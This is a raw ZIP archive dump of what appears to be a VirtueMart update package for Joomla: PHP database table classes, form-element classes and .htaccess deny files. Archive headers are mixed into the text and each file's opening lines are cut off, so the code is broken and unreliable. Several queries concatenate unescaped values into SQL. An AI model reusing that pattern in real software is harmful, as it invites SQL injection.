`#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $id ); } else { $shipmentTable = '#__virtuemart_shipment_plg_'. $shipmentName; $this->_db->setQuery('DELETE from `'.$shipmentTable.'` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError('TableOrders delete Order shipmentTable = '.$shipmentTable.' `virtuemart_order_id` = '.$id.' dbErrorMsg '.$this->_db->getError()); return false; } } $_q = 'INSERT INTO `#__virtuemart_order_histories` (' . ' virtuemart_order_history_id' . ',virtuemart_order_id' . ',order_status_code' . ',created_on' . ',customer_notified' . ',comments' .') VALUES (' . ' NULL' . ','.$id . ",'-'" . ',NOW()' . ',0' . ",'Order deleted'" .')'; $this->_db->setQuery($_q); $this->_db->query(); // Ignore error here return parent::delete($id); } } PKtl>\pQcom_virtuemart_update/administrator/components/com_virtuemart/tables/products.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setObligatoryKeys('product_name'); $this->setLoggable(); $this->setTranslatable(array('product_name','product_s_desc','product_desc','metadesc','metakey','customtitle')); $this->setSlug('product_name'); $this->setTableShortCut('p'); //We could put into the params also the product_availability and the low_stock_notification $varsToPushParam = array( 'min_order_level'=>array(null,'float'), 'max_order_level'=>array(null,'float'), 'step_order_level'=>array(null,'float'), //'product_packaging'=>array(null,'float'), 'product_box'=>array(null,'float') ); $this->setParameterable('product_params',$varsToPushParam); $this->_updateNulls = true; } } // pure php no closing tag PKtl>\ nRcom_virtuemart_update/administrator/components/com_virtuemart/tables/userinfos.phpnuW+AsetPrimaryKey('virtuemart_userinfo_id'); $this->setObligatoryKeys('address_type'); $this->setObligatoryKeys('virtuemart_user_id'); $this->setLoggable(); $this->setTableShortCut('ui'); } /** * Validates the user info record fields. * * @author RickG, RolandD, Max Milbers * @return boolean True if the table buffer is contains valid data, false otherwise. */ public function check(){ if($this->address_type=='BT' or $this->address_type=='ST' ){ if($this->address_type=='ST' and empty($this->address_type_name)){ $this->address_type_name = 'Delivery Address '.rand(1,9); vmWarn('Table userinfos check failed: address_type '.$this->address_type.' without name, autogenerated '.$this->address_type_name,'check failed: ST has no name, autogenerated '.$this->address_type_name); //return false; } } else { vmError('Table userinfos check failed: Unknown address_type '.$this->address_type,'check failed: Unknown address_type '); vmdebug('Table userinfos check failed: Unknown address_type '.$this->address_type.' virtuemart_user_id '.$this->virtuemart_user_id.' name '.$this->name); return false; } if (!empty($this->virtuemart_userinfo_id)) { $this->virtuemart_userinfo_id = (int)$this->virtuemart_userinfo_id; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { $q = "SELECT virtuemart_user_id FROM #__virtuemart_userinfos WHERE virtuemart_userinfo_id = ".$this->virtuemart_userinfo_id; $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $userId = JFactory::getUser()->id; if($total[0]!=$userId){ vmError('Hacking attempt uid check, you got logged'); echo 'Hacking attempt uid check, you got logged'; return false; } } } //return parent::check(); } else { if(empty($this->address_type)) $this->address_type = 'BT'; /* Check if a record exists */ $q = "SELECT virtuemart_userinfo_id FROM #__virtuemart_userinfos WHERE virtuemart_user_id = ".$this->virtuemart_user_id." AND address_type = ".$this->_db->Quote($this->address_type); if($this->address_type!='BT'){ $q .= " AND address_type_name = ".$this->_db->Quote($this->address_type_name); } $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $this->virtuemart_userinfo_id = (int)$total[0]; } else { $this->virtuemart_userinfo_id = 0;//md5(uniqid($this->virtuemart_user_id)); } } if(empty($this->virtuemart_user_id)){ $user = JFactory::getUser(); if(!empty($user->id)){ $this->virtuemart_user_id = $user->id; } } return parent::check(); } /** * Overloaded delete() to delete a list of virtuemart_userinfo_id's based on the user id * @var mixed id * @return boolean True on success * @author Oscar van Eijk */ function delete( $id=null , $where = 0 ){ // TODO If $id is not numeric, assume it's a virtuemart_userinfo_id. Validate if this is safe enough if (!is_numeric($id)) { return (parent::delete($id)); } // Implicit else $this->_db->setQuery('DELETE from `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } } // No Closing tag PKtl>\T% % Wcom_virtuemart_update/administrator/components/com_virtuemart/tables/paymentmethods.phpnuW+AsetObligatoryKeys('payment_jplugin_id'); $this->setObligatoryKeys('payment_name'); $this->setLoggable(); $this->setTranslatable(array('payment_name', 'payment_desc')); $this->setSlug('payment_name'); // $this->setUniqueName('ordering'); } } // pure php no closing tag PKtl>\ɂXcom_virtuemart_update/administrator/components/com_virtuemart/tables/shipmentmethods.phpnuW+AsetUniqueName('shipment_name'); $this->setObligatoryKeys('shipment_jplugin_id'); $this->setObligatoryKeys('shipment_name'); $this->setLoggable(); $this->setTranslatable(array('shipment_name', 'shipment_desc')); $this->setSlug('shipment_name'); } } // pure php no closing tag PKtl>\Gf99^com_virtuemart_update/administrator/components/com_virtuemart/tables/product_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } }PKtl>\o0N[com_virtuemart_update/administrator/components/com_virtuemart/tables/calc_manufacturers.phpnuW+A St.Kraft 2013-02-24 Herstellerrabatt * @param JDataBase $db */ function __construct(&$db){ parent::__construct('#__virtuemart_calc_manufacturers', 'id', $db); $this->setPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_manufacturer_id'); } } PKtl>\2nNU U _com_virtuemart_update/administrator/components/com_virtuemart/tables/manufacturercategories.phpnuW+AsetUniqueName('mf_category_name'); $this->setLoggable(); $this->setTranslatable(array('mf_category_name','mf_category_desc')); $this->setSlug('mf_category_name'); } /* * Verify that user have to delete all manufacturers of a particular category before that category can be removed * * @return boolean True if category is ready to be removed, otherwise False */ function checkManufacturer($categoryId = 0) { if($categoryId > 0) { $db = JFactory::getDBO(); $q = 'SELECT count(*)' .' FROM #__virtuemart_manufacturers' .' WHERE virtuemart_manufacturercategories_id = '.$categoryId; $db->setQuery($q); $mCount = $db->loadResult(); if($mCount > 0) { vmInfo('COM_VIRTUEMART_REMOVE_IN_USE'); return false; } } return true; } } // pure php no closing tag PKtl>\w% Wcom_virtuemart_update/administrator/components/com_virtuemart/tables/product_prices.phpnuW+AsetPrimaryKey('virtuemart_product_price_id'); $this->setLoggable(); $this->setTableShortCut('pp'); $this->_updateNulls = true; } /** * @author Max Milbers * @param */ function check(){ if(!empty($this->product_price)){ $this->product_price = str_replace(array(',',' '),array('.',''),$this->product_price); } if(isset($this->product_override_price)){ $this->product_override_price = str_replace(array(',',' '),array('.',''),$this->product_override_price); } return parent::check(); } } // pure php no closing tag PKtl>\ Tcom_virtuemart_update/administrator/components/com_virtuemart/tables/order_items.phpnuW+AsetLoggable(); } } // pure php no closing tag PKtl>\H ==]com_virtuemart_update/administrator/components/com_virtuemart/tables/vmuser_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_user_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKtl>\mPPScom_virtuemart_update/administrator/components/com_virtuemart/tables/userfields.phpnuW+AsetPrimaryKey('virtuemart_userfield_id'); $this->setUniqueName('name'); $this->setObligatoryKeys('title'); $this->setLoggable(); $this->setOrderable('ordering',false); } /** * Validates the userfields record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check($nrOfValues) { if (preg_match('/[^a-z0-9\._\-]/i', $this->name) > 0) { vmError(JText::_('COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS')); return false; } if($this->name !='virtuemart_country_id' and $this->name !='virtuemart_state_id'){ $reqValues = array('select', 'multiselect', 'radio', 'multicheckbox'); if (in_array($this->type, $reqValues) and $nrOfValues == 0 ) { vmError(JText::_('COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE')); return false; } } return parent::check(); } /** * Format the field type * @param $_data array array with additional data written to other tables * @return string Field type in SQL syntax */ function formatFieldType(&$_data = array()) { $_fieldType = $this->type; switch($this->type) { case 'date': $_fieldType = 'DATE'; break; case 'editorta': case 'textarea': case 'multiselect': case 'multicheckbox': $_fieldType = 'MEDIUMTEXT'; break; case 'checkbox': $_fieldType = 'TINYINT'; break; case 'age_verification': $this->params = 'minimum_age='.(int)$_data['minimum_age']."\n"; default: $_fieldType = 'VARCHAR(255)'; break; } return $_fieldType; } /** * Reimplement the store method to return the last inserted ID * * @return mixed When a new record was succesfully inserted, return the ID, otherwise the status */ public function store($updateNulls = false) { $isNew = ($this->virtuemart_userfield_id == 0); if (!parent::store($updateNulls)) { // Write data to the DB vmError($this->getError()); return false; } else { return $this->virtuemart_userfield_id; } } function checkAndDelete($table,$where = 0){ $ok = 1; $k = $this->_tbl_key; if($where!==0){ $whereKey = $where; } else { $whereKey = $this->_pkey; } $query = 'SELECT `'.$this->_tbl_key.'` FROM `'.$table.'` WHERE '.$whereKey.' = "' .$this->$k . '"'; // stAn - it should be better to add this directly to the controller of the shopper fields // only additionally, controllers are not considered as safe. if (isset($this->name)) { $umodel = VmModel::getModel('userfields'); $arr = $umodel->getCoreFields(); if (in_array($this->name, $arr)) { vmError('Cannot delete core field!'); return false; } } $this->_db->setQuery( $query ); $list = $this->_db->loadResultArray(); if($list){ foreach($list as $row){ $ok = $row; $query = 'DELETE FROM `'.$table.'` WHERE '.$this->_tbl_key.' = "'.$row.'"'; $this->_db->setQuery( $query ); if (!$this->_db->query()){ $this->setError($this->_db->getErrorMsg()); vmError('checkAndDelete '.$this->_db->getErrorMsg()); $ok = 0; } } } return $ok; } } //No CLosing Tag PKtl>\4CETTPcom_virtuemart_update/administrator/components/com_virtuemart/tables/coupons.phpnuW+AsetObligatoryKeys('coupon_code'); $this->setLoggable(); } } // pure php no closing tag PKtl>\AO]com_virtuemart_update/administrator/components/com_virtuemart/tables/product_customfields.phpnuW+AsetPrimaryKey('virtuemart_product_id'); // $this->setSecondaryKey('virtuemart_customfield_id'); $this->setLoggable(); $this->setOrderable(); } function check(){ if(!empty($this->custom_price)){ $this->custom_price = str_replace(array(',',' '),array('.',''),$this->custom_price); } else { $this->custom_price = null; } return parent::check(); } } PKtl>\)b]com_virtuemart_update/administrator/components/com_virtuemart/tables/order_item_histories.phpnuW+AsetObligatoryKeys('virtuemart_order_item_id'); $this->setLoggable(); } } // pure php no closing tag PKtl>\0 Ncom_virtuemart_update/administrator/components/com_virtuemart/tables/calcs.phpnuW+AsetUniqueName('calc_name'); $this->setObligatoryKeys('calc_kind'); $this->setLoggable(); } } // pure php no closing tag PKtl>\(]99ecom_virtuemart_update/administrator/components/com_virtuemart/tables/shipmentmethod_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_shipmentmethod_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKtl>\422Pcom_virtuemart_update/administrator/components/com_virtuemart/tables/vendors.phpnuW+AsetPrimaryKey('virtuemart_vendor_id'); $this->setUniqueName('vendor_name'); $this->setSlug('vendor_store_name'); //Attention the slug autoname MUST be also in the translatable, if existing $this->setLoggable(); $this->setTranslatable(array('vendor_store_name','vendor_phone','vendor_store_desc','vendor_terms_of_service','vendor_legal_info','vendor_url','metadesc','metakey','customtitle','vendor_letter_css', 'vendor_letter_header_html', 'vendor_letter_footer_html')); $varsToPushParam = array( 'vendor_min_pov'=>array(0.0,'float'), 'vendor_min_poq'=>array(1,'int'), 'vendor_freeshipment'=>array(0.0,'float'), 'vendor_address_format'=>array('','string'), 'vendor_date_format'=>array('','string'), 'vendor_letter_format'=>array('A4','string'), 'vendor_letter_orientation'=>array('P','string'), 'vendor_letter_margin_top'=>array(45,'int'), 'vendor_letter_margin_left'=>array(25,'int'), 'vendor_letter_margin_right'=>array(25,'int'), 'vendor_letter_margin_bottom'=>array(25,'int'), 'vendor_letter_margin_header'=>array(12,'int'), 'vendor_letter_margin_footer'=>array(20,'int'), 'vendor_letter_font'=>array('helvetica','string'), 'vendor_letter_font_size'=>array(8, 'int'), 'vendor_letter_header_font_size'=>array(7, 'int'), 'vendor_letter_footer_font_size'=>array(6, 'int'), 'vendor_letter_header'=>array(1,'int'), 'vendor_letter_header_line'=>array(1,'int'), 'vendor_letter_header_line_color'=>array("#000000",'string'), 'vendor_letter_header_image'=>array(1,'int'), 'vendor_letter_header_imagesize'=>array(60,'int'), 'vendor_letter_header_cell_height_ratio'=>array(1,'float'), 'vendor_letter_footer'=>array(1,'int'), 'vendor_letter_footer_line'=>array(1,'int'), 'vendor_letter_footer_line_color'=>array("#000000",'string'), 'vendor_letter_footer_cell_height_ratio'=>array(1,'float'), 'vendor_letter_add_tos' => array(0,'int'), 'vendor_letter_add_tos_newpage' => array(1,'int') ); $this->setParameterable('vendor_params',$varsToPushParam); $this->setTableShortCut('v'); // vmdebug('myvendor table',$this); } } //pure php no closing tag PKtl>\oxXcom_virtuemart_update/administrator/components/com_virtuemart/tables/calc_categories.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_category_id','calc_categories'); } } PKtl>\\\Vcom_virtuemart_update/administrator/components/com_virtuemart/tables/shoppergroups.phpnuW+AsetUniqueName('shopper_group_name'); $this->setLoggable(); $this->setTableShortCut('sg'); } // /** // * Validates the shopper group record fields. // * // * @author Markus Öhler // * @return boolean True if the table buffer contains valid data, false otherwise. // */ function check(){ if (empty($this->shopper_group_name) ){ vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME')); return false; } else { if(function_exists('mb_strlen') ){ if (mb_strlen($this->shopper_group_name) > 32) { vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS')); return false; } } else { if (strlen($this->shopper_group_name) > 32) { vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS')); return false; } } } return parent::check(); } } // pure php no closing tag PKtl>\$Vcom_virtuemart_update/administrator/components/com_virtuemart/tables/vendor_medias.phpnuW+AsetPrimaryKey('virtuemart_vendor_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); } } PKtl>\X!!Xcom_virtuemart_update/administrator/components/com_virtuemart/tables/category_medias.phpnuW+AsetPrimaryKey('virtuemart_category_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); $this->setTableShortCut('cm'); } } PKtl>\Ucom_virtuemart_update/administrator/components/com_virtuemart/tables/waitingusers.phpnuW+AsetLoggable(); } function check() { if(empty($this->notify_email) || !filter_var($this->notify_email, FILTER_VALIDATE_EMAIL)) { vmError(JText::_('COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS'),JText::_('COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS')); return false; } return parent::check(); } } // pure php no closing tag PKtl>\όA` ` Ycom_virtuemart_update/administrator/components/com_virtuemart/tables/userfield_values.phpnuW+AsetPrimaryKey('virtuemart_userfield_id'); } /** * Validates the userfields record fields, and checks if the given value already exists. * If so, the primary key is set. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check() { if (preg_match('/[^a-z0-9\._\-]/i', $this->fieldvalue) > 0) { vmError(JText::_('COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS')); return false; } $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_userfield_value_id` FROM `#__virtuemart_userfield_values` ' . 'WHERE `fieldvalue`="' . $this->fieldvalue . '" ' . 'AND `virtuemart_userfield_id`=' . $this->virtuemart_userfield_id; $db->setQuery($q); $_id = $db->loadResult(); if ($_id === null) { $this->virtuemart_userfield_value_id = null; } else { $this->virtuemart_userfield_value_id = $_id; } return true; } /** * Reimplement delete() to get a list if value IDs based on the field id * @var Field id * @return boolean True on success */ function delete( $virtuemart_userfield_id=null , $where = 0 ){ $db = JFactory::getDBO(); $db->setQuery('DELETE from `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_id` = ' . $virtuemart_userfield_id); if ($db->query() === false) { vmError($db->getError()); return false; } return true; } } //No CLosing Tag PKtl>\"Pcom_virtuemart_update/administrator/components/com_virtuemart/tables/ratings.phpnuW+AsetPrimaryKey('virtuemart_rating_id'); // $this->setObligatoryKeys('virtuemart_product_id'); $this->setLoggable(); $this->setTableShortCut('r'); } } // pure php no closing tag PKtl>\K>Ucom_virtuemart_update/administrator/components/com_virtuemart/tables/rating_votes.phpnuW+AsetPrimaryKey('virtuemart_rating_vote_id'); $this->setLoggable(); } } // pure php no closing tag PKtl>\Rcom_virtuemart_update/administrator/components/com_virtuemart/tables/languages.phpnuW+AsetTableShortCut('l'); } } // pure php no closing tag PKtl>\)Gcom_virtuemart_update/administrator/components/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKtl>\5кRcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmtaxes.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return ShopFunctions::renderTaxList($value, $control_name . '[' . $name . ']', $class); // $class = 'multiple="true" size="10"'; // return JHTML::_('select.genericlist', $taxrates, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKtl>\vwOOWcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmvendormenu.phpnuW+AgetVendors(true, true, false); return JHTML::_('select.genericlist', $vendors, $control_name . '[' . $name . ']', '', $name, 'vendor_name', $value, $control_name . $name); } } PKtl>\Qcom_virtuemart_update/administrator/components/com_virtuemart/elements/index.htmlnuW+APKtl>\/+##Rcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmtitle.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); if (empty($class)) { $class.="style=\"margin: 10px 0 5px 0; font-weight: bold; padding: 5px; background-color: #cacaca; float:none; clear:both;\""; } $description = ($node->attributes('description') ? JText::_($node->attributes('description')) : ''); $html = ''; if ($value) { $html .= '
      '; $html .= JText::_($value); $html .= '
      '; if ($description){ $html .= $description.'
      '; } } else { $html .= '
      '.$description.'
      '; } return $html; } }PKtl>\Bjq&&Rcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmrules.phpnuW+Aelement['section'] ? (string) $this->element['section'] : ''; $component = $this->element['component'] ? (string) $this->element['component'] : ''; $assetField = $this->element['asset_field'] ? (string) $this->element['asset_field'] : 'asset_id'; // Get the actions for the asset. $actions = JAccess::getActions($component, $section); // Iterate over the children and add to the actions. foreach ($this->element->children() as $el) { if ($el->getName() == 'action') { $actions[] = (object) array('name' => (string) $el['name'], 'title' => (string) $el['title'], 'description' => (string) $el['description']); } } // Get the explicit rules for this asset. $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('id')); $query->from($db->quoteName('#__assets')); $query->where($db->quoteName('name') . ' = ' . $db->quote($component)); $db->setQuery($query); $assetId = (int) $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseNotice(500, $error); } // Full width format. // Get the rules for just this asset (non-recursive). $assetRules = JAccess::getAssetRules($assetId); // Get the available user groups. $groups = $this->getUserGroups(); // Build the form control. $curLevel = 0; // Prepare output $html = array(); $html[] = '
      '; $html[] = '
      '; $html[] = '

      ' . JText::_('JLIB_RULES_SETTINGS_DESC') . '

      '; $html[] = '
        '; // Start a row for each user group. foreach ($groups as $group) { $difLevel = $group->level - $curLevel; if ($difLevel > 0) { $html[] = '
        • '; } elseif ($difLevel < 0) { $html[] = str_repeat('
      • ', -$difLevel); } $html[] = '
      • '; $html[] = '
        '; $html[] = '

        '; $html[] = str_repeat('|– ', $curLevel = $group->level) . $group->text; $html[] = '

        '; $html[] = '
        '; $html[] = '
        '; $html[] = ''; $html[] = ''; $html[] = ''; $html[] = ''; $html[] = ''; // The calculated setting is not shown for the root group of global configuration. $canCalculateSettings = ($group->parent_id || !empty($component)); if ($canCalculateSettings) { $html[] = ''; } $html[] = ''; $html[] = ''; $html[] = ''; foreach ($actions as $action) { $html[] = ''; $html[] = ''; $html[] = ''; // Build the Calculated Settings column. // The inherited settings column is not displayed for the root group in global configuration. if ($canCalculateSettings) { $html[] = ''; } $html[] = ''; } $html[] = ''; $html[] = '
        '; $html[] = '' . JText::_('JLIB_RULES_ACTION') . ''; $html[] = ''; $html[] = '' . JText::_('JLIB_RULES_SELECT_SETTING') . ''; $html[] = ''; $html[] = '' . JText::_('JLIB_RULES_CALCULATED_SETTING') . ''; $html[] = '
        '; $html[] = ''; $html[] = ''; //$html[] = $this->formControl.'-'.$this->fieldname; $this->name = $this->formControl.'[rules]'; $html[] = '  '; // If this asset's rule is allowed, but the inherited rule is deny, we have a conflict. if (($assetRule === true) && ($inheritedRule === false)) { $html[] = JText::_('JLIB_RULES_CONFLICT'); } $html[] = ''; // This is where we show the current effective settings considering currrent group, path and cascade. // Check whether this is a component or global. Change the text slightly. if (JAccess::checkGroup($group->value, 'core.admin', $assetId) !== true) { if ($inheritedRule === null) { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED') . ''; } elseif ($inheritedRule === true) { $html[] = '' . JText::_('JLIB_RULES_ALLOWED') . ''; } elseif ($inheritedRule === false) { if ($assetRule === false) { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED') . ''; } else { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED_LOCKED') . ''; } } } elseif (!empty($component)) { $html[] = '' . JText::_('JLIB_RULES_ALLOWED_ADMIN') . ''; } else { // Special handling for groups that have global admin because they can't be denied. // The admin rights can be changed. if ($action->name === 'core.admin') { $html[] = '' . JText::_('JLIB_RULES_ALLOWED') . ''; } elseif ($inheritedRule === false) { // Other actions cannot be changed. $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT') . ''; } else { $html[] = '' . JText::_('JLIB_RULES_ALLOWED_ADMIN') . ''; } } $html[] = '
        '; $html[] = '
        '; $html[] = '
      • '; } $html[] = str_repeat('
      ', $curLevel); $html[] = '
      '; if ($section == 'component' || $section == null) { $html[] = JText::_('JLIB_RULES_SETTING_NOTES'); } else { $html[] = JText::_('JLIB_RULES_SETTING_NOTES_ITEM'); } $html[] = '
      '; $js = "window.addEvent('domready', function(){ new Fx.Accordion($$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel h3.pane-toggler')," . "$$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel div.pane-slider'), {onActive: function(toggler, i) {toggler.addClass('pane-toggler-down');" . "toggler.removeClass('pane-toggler');i.addClass('pane-down');i.removeClass('pane-hide');Cookie.write('jpanesliders_permissions-sliders-".$section . $component . "',$$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel h3').indexOf(toggler));}," . "onBackground: function(toggler, i) {toggler.addClass('pane-toggler');toggler.removeClass('pane-toggler-down');i.addClass('pane-hide');" . "i.removeClass('pane-down');}, duration: 300, display: " . JRequest::getInt('jpanesliders_permissions-sliders' . $component, 0, 'cookie') . ", show: " . JRequest::getInt('jpanesliders_permissions-sliders' . $component, 0, 'cookie') . ", alwaysHide:true, opacity: false}); });"; JFactory::getDocument()->addScriptDeclaration($js); return implode("\n", $html); } } PKtl>\u5 Rcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmfiles.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' multiple="true" size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKtl>\1 q Qcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmfile.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKtl>\Y7 ]com_virtuemart_update/administrator/components/com_virtuemart/elements/vmacceptedcurrency.phpnuW+AsetQuery($q); $vendor_currency = $db->loadAssoc(); if (!$vendor_currency['vendor_accepted_currencies']) { $vendor_currency['vendor_accepted_currencies'] = $vendor_currency['vendor_currency']; } $q = 'SELECT `virtuemart_currency_id` AS value ,CONCAT_WS(" ",`currency_name`,`currency_symbol`) as text FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` IN (' . $vendor_currency['vendor_accepted_currencies'] . ') and (`virtuemart_vendor_id` = "' . $vendorId . '" OR `shared`="1") AND published = "1" ORDER BY `ordering`,`currency_name`'; $db->setQuery($q); $currencies = $db->loadObjectList(); $options = array(); $options[] = array( 'value' => 0 ,'text' =>JText::_('COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY')); if (!is_array($currencies)) { $currencies=(array)$currencies; } foreach ($currencies as $currency){ $options[] = array( 'value' => $currency->value ,'text' =>$currency->text); } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return JHTML::_('select.genericlist', $options, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }PKtl>\lѓyyUcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmelements.phpnuW+A\K([com_virtuemart_update/administrator/components/com_virtuemart/elements/vmcategoriesmenu.phpnuW+A'; $html .= ''; $html .= $categorylist; $html .=""; return $html; } } PKtl>\8*rrVcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmcountries.phpnuW+AsetQuery($query); $fields = $db->loadObjectList(); $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class = 'multiple="true" size="10" '; return JHTML::_('select.genericlist', $fields, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKtl>\Q^com_virtuemart_update/administrator/components/com_virtuemart/elements/vmmanufacturersmenu.phpnuW+AgetManufacturers(true, true, false); return JHTML::_('select.genericlist', $manufacturers, $control_name . '[' . $name . ']', '', $name, 'mf_name', $value, $control_name . $name); } }PKtl>\)Pcom_virtuemart_update/administrator/components/com_virtuemart/elements/.htaccessnuW+A Order allow,deny Deny from all PKtl>\jYcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmproductsmenu.phpnuW+A_getProducts(), $control_name . '[' . $name . ']', '', 'value', 'text', $value, $control_name . $name); } private function _getProducts() { $productModel = VmModel::getModel('product'); $productModel->_noLimit = true; $products = $productModel->getProductListing(false, false, false, false, true,false); $productModel->_noLimit = false; $i = 0; $list = array(); foreach ($products as $product) { $list[$i]['value'] = $product->virtuemart_product_id; $list[$i]['text'] = $product->product_name. " (". $product->product_sku.")"; $i++; } return $list; } } PKtl>\u Wcom_virtuemart_update/administrator/components/com_virtuemart/elements/vmcategories.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); VmConfig::loadJLang('com_virtuemart', false); $categorylist = ShopFunctions::categoryListTree(array($this->value)); $html = '"; return $html; } function fetchElement($name, $value, &$node, $control_name) { JPlugin::loadLanguage('com_virtuemart', JPATH_ADMINISTRATOR); $categorylist = ShopFunctions::categoryListTree(array($value)); $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $html = '"; return $html; } } if (JVM_VERSION === 2 ) { class JFormFieldVmCategories extends VmElementVmCategories { } } else { class JElementVmCategories extends VmElementVmCategories { } }PKtl>\eOI I 